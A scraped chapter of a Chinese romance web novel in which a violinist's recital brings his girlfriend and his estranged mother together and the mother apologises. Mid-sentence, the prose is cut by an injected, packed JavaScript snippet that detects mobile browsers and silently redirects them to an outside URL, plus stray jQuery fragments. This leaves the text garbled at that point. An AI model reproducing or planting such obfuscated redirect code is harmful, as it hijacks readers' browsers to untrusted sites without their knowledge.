文趣网 > 其他小说 > 外卖填错前任电话后[破镜重圆] > 43. 第四十三段旋律
    第二天,沈可意是被门铃声吵醒的。

    她翻了个身,迷迷糊糊地推了推吴清弦,“去开门。”

    他睁开眼应了声,从床上起来,捞过睡衣穿好往外走。

    卧室门没彻底关紧,留了一条缝。

    沈可意闭着眼,正准备再眯一会儿,在听见那一句“妈?你怎么来了”的瞬间猛地睁开眼,整个人完全清醒了。

    门外传来曾丝桐的声音:“我怎么不能来,你明天不是有独奏会,我来看看。”

    话落,随着一声关门声,客厅响起了两人的脚步声。

    曾丝桐换了拖鞋走进客厅,目光习惯性地扫了一圈。

    她看见了两只猫,视线随之落在自己儿子身上。

    他刚起床,睡衣松松垮垮,胸口那几道若隐若现的红痕十分刺眼。

    曾丝桐移开视线,“她……也在?”

    吴清弦顺着她的目光低头看了看自己胸口那几道抓痕,坦然地点了点头:“嗯。”

    随手把扣子扣好。

    曾丝桐又问:“你们复合了?”

    “嗯。”

    他看着她,缓声说:“我求了很久她才答应的,您这次可以别作乱了吗?算我求求您了。”

    按照她往常的性格,怎么也得教训他几句。

    可这会,她什么教训的话也没说,只语气硬邦邦地问:“做了措施没有?”

    吴清弦愣了一下,随即哼笑一声,“您怕我们给您整出一个孩子?”

    曾丝桐拧起眉,抬手在他额头上轻轻拍了一下,“你怎么说话的,我是想说女孩子不一样,你别太过分。”

    他身上的痕迹都这么多,更何况沈可意那小身板。

    她把自己一大早熬的汤放在茶几上,“带了汤,给她补补,你别光顾着自己。”

    原本是只做给他的,现在主次却变了。

    沈可意在卧室里快速穿好衣服,对着镜子整了整头发,把衣领往上拉了拉遮住痕迹,深吸了好几口气,终于鼓起勇气推开卧室门。

    可她出来的时候,客厅里已经空荡荡的。

    她朝在餐桌前的吴清弦问:“你妈呢?”

    “走了。”

    “啊?”好不容易鼓起的勇气,顷刻间又消散了。

    吴清弦手下动作没停,把汤分在两个碗里,面色却带着迟疑,“感觉她,好像不一样了。”

    说不上来具体是哪里不一样,可她没有往常那样精致的妆容,头发也是随意地挽在脑后,眼底浮着一层青色,明显没睡好的样子。

    更重要的是,知道沈可意也在后,她没有固执地和他争论个胜负。

    吴清弦下午去彩排,沈可意便一个人在储物间,一个一个把他囤积的礼物拆掉了。

    不止标签和日子,每一个礼物里还藏着他写的小纸条。

    【今天在老街上看到这个,觉得你会喜欢。这里的好吃的很多,你要是来了肯定要一家一家吃过去。】

    【今天是你的生日。我在想,你过得好不好。】

    【今天看到了学弟和来看他演出的女朋友,那一瞬间,我想到了我们。】

    ……

    沈可意一张一张看过去,眼泪无声滑下来。

    他是带着怎样的心情,写下这些话;又是带着怎样的情绪,在没有回应的时候坚持着爱她。

    -

    第二天,沈可意在剧院门口等到了凌春杳、俞悦和黄栖。

    三月的京市风很大,吹得呼呼作响,她们四人连忙跑进了剧院。

    她们按照票号找到座位,在正中间的第一排,视野很好。

    陆知乐和黎书白的位置和她们隔了几排,在斜后方。

    这是他们惯用的保护方式,不坐在一起,就不会被镜头一起扫到,就不会让人猜测他们之间的关系。

    沈可意坐下后,发现她身边的位置一直空着,她狐疑了一会,只当是票没卖出去。

    观众席灯光暗下来,全场瞬间安静下来。

    吴清弦从侧台走出来,身穿黑色燕尾服,领口一丝不苟地系着领结,步伐不疾不徐。

    走到舞台中央,在聚光灯下站定,微微偏头夹住琴托。

    他身后的钢琴伴奏在此时轻轻响起,缓缓在剧院里流淌。

    吴清弦抬起琴弓,搭上琴弦,拉奏旋律。

    第一首是《在银色的月光下》,和他们第一次见面时混乱的旋律完全不一样。

    台上的他,从容不迫地拉扯出的温柔而又笃定的旋律。他的情绪随着演奏的旋律,层层递进,堆积到峰值时,他闭上了眼。

    轻颤的琴弦,与他一起诉说着曲里所表达的思念。

    演奏完毕,台下响起掌声。

    沈可意忽然被身后,两个小女生议论的声音吸引。

    “这就是恋爱的魔力吗?我怎么感觉他现在拉《在银色的月光下》都喜滋滋的了,以前拉这首总感觉下一秒就要哭了,现在整个人都在发光。”

    她身边的同伴连连点头,声音也压不住:“对对对,刚才那段揉弦你听到没有……”

    她声音越来越小:“感觉他整个人都变得很有张力了,特别是刚刚揉弦的手,妈呀,张力拉满,特别慢还特别涩……”

    聊起吴清弦的手,身后的两个女孩简直没完没了了。

    即使后面两个女生的声音越说越小,沈可意也控制不住因为传来的零星字眼红了脸。

    什么啊……

    她控制不住抬眼盯着他手看,只能说,他的粉丝挺有品的,这双手确实很涩,特别是扣住她的时候。

    她晃了晃闹,把这些乱七八糟的想法挥了出去,抬头继续认真听他的独奏会。

    她曾经看过两场他的演奏会。

    一次是他大学毕业的演出,他站在学院音乐厅的舞台上。当时青涩尚未完全褪去,因为经验不足,多少还有些紧张,谢幕时额头上沁着一层薄汗。

    她那会跨越了大半个京市去找他,到的时候前排早已被本校的人占满,她只能落坐在后排不起眼的位置。

    可是他鞠躬起身时,目光却能越过满场的掌声,准确地找到了她。

    第二次是他在乐团当小提琴实习生的时候,他坐在小提琴声部的最后一排,穿着统一的黑色演出服。

    明明大家服装统一,但沈可意却能一眼找到他。

    整场演出他几乎没有独奏段落,大部分时间都在和整个声部一起拉同一个旋律。

    沈可意忽然觉得自己有超能力,竟然能从那么多把小提琴拉走的旋律中,认出他所拉奏的声音。

    演出结束后,她绕到剧院后门等他。

    随着“嘎吱”一声,一大波演奏人员出来,沈可意隐没在黑暗里,企图降低存在感。

    吴清弦是最后一个出来的,沈可意在手机上给他发了消息说在后门等他。

    他扫视了一圈,才在柱子后面找到了她,朝她走去。

    虽然替换了统一的西装,吴清弦随意套了件卫衣,可脸上的妆造却没卸完。

    沈可意特别喜欢他带妆的样子,比平时多了几分正经的帅气,有种说不出的吸引力。

    她先把花递过去,他接过来低头看了眼,面上很是开心,可说出来的话却有点倒胃口,“你省下来给月月多发点压岁钱啊,花应该是要男人送给女人的。”

    沈可意脸一下子垮了下来。

    他又连忙凑到她眼前,弯腰亲了亲她嘴角,“诶诶诶,我很喜欢,只是不喜欢你给我花钱。”

    沈可意瞥了眼他,看在他今天这么帅的份上,嘴角悄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757946|207654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    悄弯起来。

    趁着他还没有直起身,她又亲了上去,扯着他卫衣带子,把他拉进,毫无章法的乱亲一顿。

    吴清弦笑,“你能不能认真亲一次?”

    她退开一点,不满道:“我很认真了啊。”

    不怪她,他们接吻大多都是他主动,唯有的几次沈可意主动都是因为他带有演出的妆造。

    想到这些,他似乎懂了点什么,挑眉道:“你颜控啊?每次我化妆就喜欢亲我。”

    她大大方方承认,“对啊。”

    他顶了顶腮;“行。”

    接着握住她的手腕,把她轻轻拉进怀里,低下头,把这个吻加深了。

    无人的剧院后门,两人在昏暗的柱子后拥吻。

    他们不用担心明天会发生什么,未来会出现什么坎,只需要想,自己是否比对方更专心一点。

    再后来,他火了。

    脱离乐团有了自己的独奏会,又从几百人的小厅开到几千人的大剧院。

    她会在短视频里刷到他的身影,常常停留许久。

    一开始她忙于毕业后的工作,无数次想去看他的演出,却总被一些事情耽搁。

    后来他身边常有了楚禾的身影,海报上他们并肩而立,视频里也开始出现她的身影。

    沈可意看着那些,心里微微泛起酸味,带着眼不见为净的心情,再也没有去看过他的演奏会。

    又一曲终了,掌声如雷贯耳般的响起。

    沈可意跟着鼓掌,余光扫到身边的空位有人落座。

    她下意识偏头看了一眼,掌声随机戛然而止。

    来人是曾丝桐,她坐落在她身边,穿着深蓝色的连衣裙,披肩搭在臂弯里,和从前一样盘着发髻。

    沈可意垂下手,本能地点了点头,毕恭毕敬地说:“阿姨好。”

    她眼角弯了弯,算是回应,视线投向舞台上的吴清弦。

    中场休息的时候,黄栖从另一边探头过来想跟沈可意说话,看到她旁边的曾丝桐,瞪大了眼睛。

    礼貌地说:“阿姨好。”

    说完就立刻缩回去,掏出手机给沈可意发消息。

    沈可意感到口袋里手机震了一下,但她不敢有大幅度的动作,想着等会看。

    曾丝桐恰好在此时开口:“他小时候第一次上台,场地比这小了一半。他紧张得前一晚没睡着,第二天早上手都在抖。我那时候站在后台,比他还要紧张。”

    她顿了顿,微微侧过脸看向舞台侧幕的方向,依稀能看见后台走动的影子,“后来我总想让他站在更大的舞台上,越高越好,越大越好,我以为那就是对他好。”

    她轻笑了一声,“但他今年和我说,那些时刻他都不喜欢。”

    这段时间,她孤身一人,开始自我反思。

    她一个人坐在客厅里,翻着吴清弦从小到大的相册。

    她想,她至少应该在他不想起出国深造的时候就该知道他的想法。

    可他小时候乖,从来不拒绝,长大的不情愿也全都被她当成叛逆。

    直至除夕夜,他彻底诉说内心的情绪,他说的那些话,让她开始慢慢明白。

    她不应该把自己的遗憾强加于他的身上,他是自己的儿子,却也是一个独立的人。

    曾丝桐忽然转头,笑着朝沈可意说:“对不起啊,沈可意。”

    关于沈可意和吴清弦的事,她确实做得不对。她只见过沈可意几次,带着浅显的印象,从来没真正了解过她。

    自以为站在高处,为他挑选最合适的人就是为吴清弦好。

    她活了半辈子,一直在替儿子规划他的人生。

    现在,也应该把他的人生交还给他。

    她欠沈可意一个道歉,也欠对吴清弦迟来的尊重。